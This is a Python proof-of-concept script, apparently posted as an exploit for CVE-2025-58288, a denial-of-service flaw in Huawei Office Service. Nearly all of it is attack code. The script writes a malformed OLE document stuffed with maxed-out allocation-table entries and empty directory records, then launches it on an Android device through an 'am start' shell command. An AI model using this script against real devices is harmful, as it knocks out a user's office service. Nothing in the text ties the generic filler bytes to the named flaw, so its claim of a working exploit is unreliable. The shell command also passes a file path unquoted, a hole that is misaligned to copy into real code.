CVE-2025-58288 Huawei办公服务拒绝服务漏洞

# CVE-2025-58288 PoC - Huawei Office Service DoS # Vulnerability: Denial of Service in Huawei Office Service # CVSS: 5.5 (MEDIUM) - AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H import struct import os import sys def generate_malicious_document(output_path): """ Generate a malformed office document that triggers DoS in Huawei Office Service component. The vulnerability exists in the office service's document parsing logic, where specially crafted input can cause resource exhaustion leading to service unavailability. """ # Create a minimal malformed document structure # This mimics an Office document with corrupted internal structures header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE Compound Document header # Corrupted sector allocation table (FAT) entries # Excessive chain entries to cause resource exhaustion fat_entries = b'\xFF\xFF\xFF\xFF' * 4096 # Large FAT with all max values # Malformed directory entries with recursive references dir_entry = b'\x00' * 128 # Empty directory entry # Construct payload with oversized stream references payload = header + fat_entries + dir_entry * 100 # Write malicious document with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious document generated: {output_path}") print(f"[+] File size: {len(payload)} bytes") print("[!] When opened with Huawei Office Service, this file") print(" will trigger a Denial of Service condition.") def trigger_dos(document_path): """ Simulate the DoS trigger by sending the document to the Huawei Office Service parser. """ if not os.path.exists(document_path): print(f"[-] File not found: {document_path}") return print(f"[*] Attempting to trigger DoS via: {document_path}") print("[*] Attack vector: Local (AV:L)") print("[*] User interaction required: Open the document (UI:R)") print("[*] Expected result: Office Service becomes unavailable (A:H)") # In a real scenario, the document would be opened by the # Huawei Office Service application, triggering the vulnerability os.system(f"am start -a android.intent.action.VIEW -d 'file://{os.path.abspath(document_path)}'") if __name__ == "__main__": output_file = "malicious_office_doc.bin" print("=" * 60) print("CVE-2025-58288 - Huawei Office Service DoS PoC") print("=" * 60) generate_malicious_document(output_file) trigger_dos(output_file)